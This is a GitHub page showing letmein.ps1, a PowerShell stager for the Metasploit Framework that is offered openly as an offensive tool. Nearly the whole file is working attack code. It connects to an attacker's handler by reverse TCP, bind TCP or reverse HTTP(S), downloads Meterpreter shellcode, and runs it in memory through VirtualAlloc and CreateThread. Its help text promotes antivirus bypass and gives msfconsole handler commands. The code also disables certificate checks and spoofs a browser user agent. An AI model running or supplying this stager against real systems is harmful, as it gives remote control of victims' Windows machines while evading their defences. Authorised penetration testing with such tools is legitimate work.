-
Notifications
You must be signed in to change notification settings - Fork 122
/
letmein.ps1
395 lines (332 loc) · 14.1 KB
/
letmein.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
#
# letmein.ps1 1.1 - PowerShell Stager for Metasploit Framework
# Copyright (c) 2017-2018 Marco Ivaldi <[email protected]>
#
# "You know who I pray to? Joe Pesci. Two reasons: First of all,
# I think he's a good actor, okay? To me, that counts. Second,
# he looks like a guy who can GET THINGS DONE." -- George Carlin
#
# Tested on:
# Microsoft Windows 7
# Microsoft Windows 10
# Microsoft Windows Server 2008
# Microsoft Windows Server 2012
# Microsoft Windows Server 2016
#
# TODO:
# Implement additional antivirus evasion techniques
# Add support for Meterpreter Paranoid Mode
#
<#
.SYNOPSIS
Pure PowerShell implementation of Metasploit Framework's staging protocols.
.DESCRIPTION
Start an exploit/multi/handler (Generic Payload Handler) instance on your
attack box configured to handle one of the supported Meterpreter payloads, run
letmein.ps1 (ideally as Administrator) on a compromised Windows box, and wait
for your session.
The supported payloads are:
windows/meterpreter/bind_tcp windows/x64/meterpreter/bind_tcp
windows/meterpreter/reverse_tcp windows/x64/meterpreter/reverse_tcp
windows/meterpreter/reverse_http windows/x64/meterpreter/reverse_http
windows/meterpreter/reverse_https windows/x64/meterpreter/reverse_https
Note that you must choose the correct payload for the target architecture
(either 32 or 64 bits), otherwise PowerShell will crash.
This technique is quite effective in order to bypass the antivirus and obtain
a Meterpreter shell on Windows (however, be warned that during testing some
antivirus solutions detected the reverse_http payloads!).
.PARAMETER IPAddress
Remote IP address for the reverse_tcp handler connection.
.PARAMETER Port
Remote port for the reverse_tcp handler connection (default: 4444).
Local port to listen at for the bind_tcp handler connection (default: 4444).
.PARAMETER URL
Remote URL for the reverse_http(s) handler connection.
.PARAMETER Proxy
Use system proxy settings for the reverse_http(s) connection (default: False).
.LINK
Based on:
https://github.com/0xdea/tactical-exploitation/blob/master/letmein.py
https://github.com/rsmudge/metasploit-loader
https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-Shellcode.ps1
https://github.com/Veil-Framework/Veil/blob/master/Tools/Evasion/payloads/powershell/meterpreter
.EXAMPLE
.\letmein.ps1 192.168.100.42 4444 # reverse_tcp stager
Don't forget to enable script execution on the target box:
Set-ExecutionPolicy RemoteSigned
On the attack box, you should run the following commands:
$ msfconsole
msf > use exploit/multi/handler
msf > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf > set LHOST 192.168.100.42
msf > set EXITFUNC thread # optional
msf > exploit
.EXAMPLE
.\letmein.ps1 4444 # bind_tcp stager
Don't forget to enable script execution on the target box:
Set-ExecutionPolicy RemoteSigned
On the attack box, you should run the following commands:
$ msfconsole
msf > use exploit/multi/handler
msf > set PAYLOAD windows/x64/meterpreter/bind_tcp
msf > set EXITFUNC thread # optional
msf > exploit
.EXAMPLE
.\letmein.ps1 -URL https://192.168.100.42:8443 # reverse_https stager
Don't forget to enable script execution on the target box:
Set-ExecutionPolicy RemoteSigned
On the attack box, you should run the following commands:
$ msfconsole
msf > use exploit/multi/handler
msf > set PAYLOAD windows/x64/meterpreter/reverse_https
msf > set EXITFUNC thread # optional
msf > exploit
#>
# Get command line parameters
[CmdLetBinding(DefaultParameterSetName = "bind")]
Param(
# IP address
[Parameter(ParameterSetName = "reverse", Position = 0, Mandatory = $True)]
[ValidateScript({$_ -match [IPAddress] $_})]
[String] $IPAddress,
# Port
[Parameter(ParameterSetName = "reverse", Position = 1)]
[Parameter(ParameterSetName = "bind", Position = 0)]
[ValidateRange(1, 65535)]
[Int] $Port = 4444,
# URL
[Parameter(ParameterSetName = "http", Mandatory = $True)]
[ValidatePattern("^(http|https)://")]
[String] $URL,
# Proxy
[Parameter(ParameterSetName = "http")]
[Switch] $Proxy = $False
)
# Helper function ripped from PowerSploit's Invoke-Shellcode.ps1
function Local:Get-ProcAddress
{
Param(
[OutputType([IntPtr])]
[Parameter(Position = 0, Mandatory = $True)]
[String] $Module,
[Parameter(Position = 1, Mandatory = $True)]
[String] $Procedure
)
# Get a reference to System.dll in the GAC
$SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
$UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
# Get a reference to the GetModuleHandle and GetProcAddress methods
$GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
# Specify parameters to avoid AmbiguousMatchException on recent Windows versions
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress', [Type[]] @([System.Runtime.InteropServices.HandleRef], [String]))
# Get a handle to the module specified
$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
$tmpPtr = New-Object IntPtr
$HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
# Return the address of the function
Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef] $HandleRef, $Procedure))
}
# Helper function ripped from PowerSploit's Invoke-Shellcode.ps1
function Local:Get-DelegateType
{
Param(
[OutputType([Type])]
[Parameter(Position = 0)]
[Type[]] $Parameters = (New-Object Type[](0)),
[Parameter(Position = 1)]
[Type] $ReturnType = [Void]
)
$Domain = [AppDomain]::CurrentDomain
$DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
$TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
$ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
$MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
$MethodBuilder.SetImplementationFlags('Runtime, Managed')
Write-Output $TypeBuilder.CreateType()
}
# Receive a Meterpreter payload via TCP
function Local:Receive-Payload
{
# Read 4-byte payload length
Write-Debug "Reading 4-byte payload length"
$buffer = New-Object System.Byte[] 4
$read = $stream.Read($buffer, 0, 4)
$length = [BitConverter]::ToInt32($buffer, 0)
# Prepend some ASM to MOV the socket handle into EDI
# (64-bit version doesn't seem to be necessary for x64)
# mov edi, 0x12345678 ; BF 78 56 34 12 (32-bit)
# mov rdi, 0x12345678 ; 48 BF 78 56 34 12 00 00 00 00 (64-bit)
Write-Debug "Prepending MOV EDI, <socket> to the payload"
$buffer = [BitConverter]::GetBytes($client.Client.Handle.ToInt32())
$payload = New-Object System.Byte[] ($length + 5)
$payload[0] = 0xBF
$payload[1] = $buffer[0]
$payload[2] = $buffer[1]
$payload[3] = $buffer[2]
$payload[4] = $buffer[3]
# Download the Meterpreter payload
Write-Debug "Downloading the Meterpreter payload"
$read = $stream.Read($payload, 5, $length)
while ($read -lt $length) {
$read += $stream.Read($payload, ($read + 5), ($length - $read))
}
}
# Execute a Windows payload
function Local:Invoke-Payload
{
# Allocate a RWX memory region
# VirtualAlloc(0, len(d), MEM_COMMIT, PAGE_EXECUTE_READWRITE)
Write-Debug "Allocating a RWX memory region"
$VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc
$VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])
$VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate)
$ptr = $VirtualAlloc.Invoke([IntPtr]::Zero, $payload.Length + 1, 0x3000, 0x40)
# Copy the shellcode
Write-Debug "Copying the shellcode"
[System.Runtime.InteropServices.Marshal]::Copy($payload, 0, $ptr, $payload.Length)
# Execute the shellcode
Write-Debug "Executing the shellcode"
$CreateThreadAddr = Get-ProcAddress kernel32.dll CreateThread
$CreateThreadDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
$CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate)
$ht = $CreateThread.Invoke([IntPtr]::Zero, 0, $ptr, [IntPtr]::Zero, 0, [IntPtr]::Zero)
# Wait for the shellcode to finish running
Write-Debug "Waiting for the shellcode to finish running"
$WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject
$WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [Int32]) ([Int])
$WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate)
$WaitForSingleObject.Invoke($ht, 0xFFFFFFFF) | Out-Null
}
# Start a reverse_tcp stager
function Local:Start-Reverse
{
# Connect to reverse_tcp exploit/multi/handler
Write-Verbose "Connecting to reverse_tcp exploit/multi/handler"
try {
$client = New-Object System.Net.Sockets.TcpClient($IPAddress, $Port)
$stream = $client.GetStream()
} catch {
$err = $_.Exception.Message
Write-Host $err
exit
}
# Receive and execute the Meterpreter payload
Write-Verbose "Receiving and executing the Meterpreter payload"
try {
. Receive-Payload
. Invoke-Payload
} catch {
$err = $_.Exception.Message
Write-Host $err
exit
} finally {
# Perform cleanup actions
Write-Verbose "Performing cleanup actions"
$stream.Close()
$client.Close()
$stream.Dispose()
}
}
# Start a bind_tcp stager
function Local:Start-Bind
{
# Open a port for bind_tcp exploit/multi/handler
Write-Verbose "Opening port for bind_tcp exploit/multi/handler"
try {
$endpoint = New-Object System.Net.IPEndPoint([IPAddress]::any, $Port)
$listener = New-Object System.Net.Sockets.TcpListener $endpoint
$listener.start()
$client = $listener.AcceptTcpClient()
$stream = $client.GetStream()
} catch {
$err = $_.Exception.Message
Write-Host $err
exit
}
# Receive and execute the Meterpreter payload
Write-Verbose "Receiving and executing the Meterpreter payload"
try {
. Receive-Payload
. Invoke-Payload
} catch {
$err = $_.Exception.Message
Write-Host $err
exit
} finally {
# Perform cleanup actions
Write-Verbose "Performing cleanup actions"
$stream.Close()
$client.Close()
$listener.Stop()
$stream.Dispose()
}
}
# Start a reverse_http(s) stager
function Local:Start-HTTP
{
# Helper functions ripped from Veil-Framework's rev_https.py
$d = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".ToCharArray()
function c($v) { return (([Int[]] $v.ToCharArray() | Measure-Object -Sum).Sum % 0x100 -eq 92) }
function t { $f = ""; 1..3 | ForEach-Object { $f += $d[(Get-Random -Maximum $d.Length)] }; return $f }
function e { Process { [Array] $x = $x + $_ }; End { $x | Sort-Object {(New-Object Random).next()} } }
function g { for ($i = 0; $i -lt 64; $i++) { $h = t; $k = $d | e; foreach ($l in $k) { $s = $h + $l; if (c($s)) {return $s} } } return "9vXU" }
$URL = $URL + "/" + (g)
# Connect to reverse_http(s) exploit/multi/handler
Write-Verbose "Connecting to reverse_http(s) exploit/multi/handler"
try {
# Disable SSL certificate validation
[Net.ServicePointManager]::ServerCertificateValidationCallback = { $True }
$client = New-Object System.Net.WebClient
$client.Headers.Add("User-Agent", "Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)")
if ($Proxy) {
# Use system proxy settings
$p = [System.Net.WebRequest]::GetSystemWebProxy()
$p.Credentials = [System.Net.CredentialCache]::DefaultCredentials
$client.Proxy = $p
$client.UseDefaultCredentials = $True
}
[System.Byte[]] $payload = $client.DownloadData($URL)
} catch {
$err = $_.Exception.Message
Write-Host $err
exit
}
# Execute the Meterpreter payload
Write-Verbose "Executing the Meterpreter payload"
try {
. Invoke-Payload
} catch {
$err = $_.Exception.Message
Write-Host $err
exit
} finally {
# Perform cleanup actions
Write-Verbose "Performing cleanup actions"
$client.Dispose()
}
}
Write-Host "letmein.ps1 1.1 - PowerShell Stager for Metasploit Framework"
Write-Host "Copyright (c) 2017-2018 Marco Ivaldi <[email protected]>`n"
# Choose the mode of operation
switch ($PsCmdlet.ParameterSetName)
{
"reverse" {
Write-Host "Connecting to reverse_tcp handler at ${IPAddress}:${Port}`n"
. Start-Reverse
break
}
"bind" {
Write-Host "Listening for bind_tcp handler connection at port ${Port}`n"
. Start-Bind
break
}
"http" {
Write-Host "Connecting to reverse_http(s) handler at $URL`n"
. Start-HTTP
break
}
}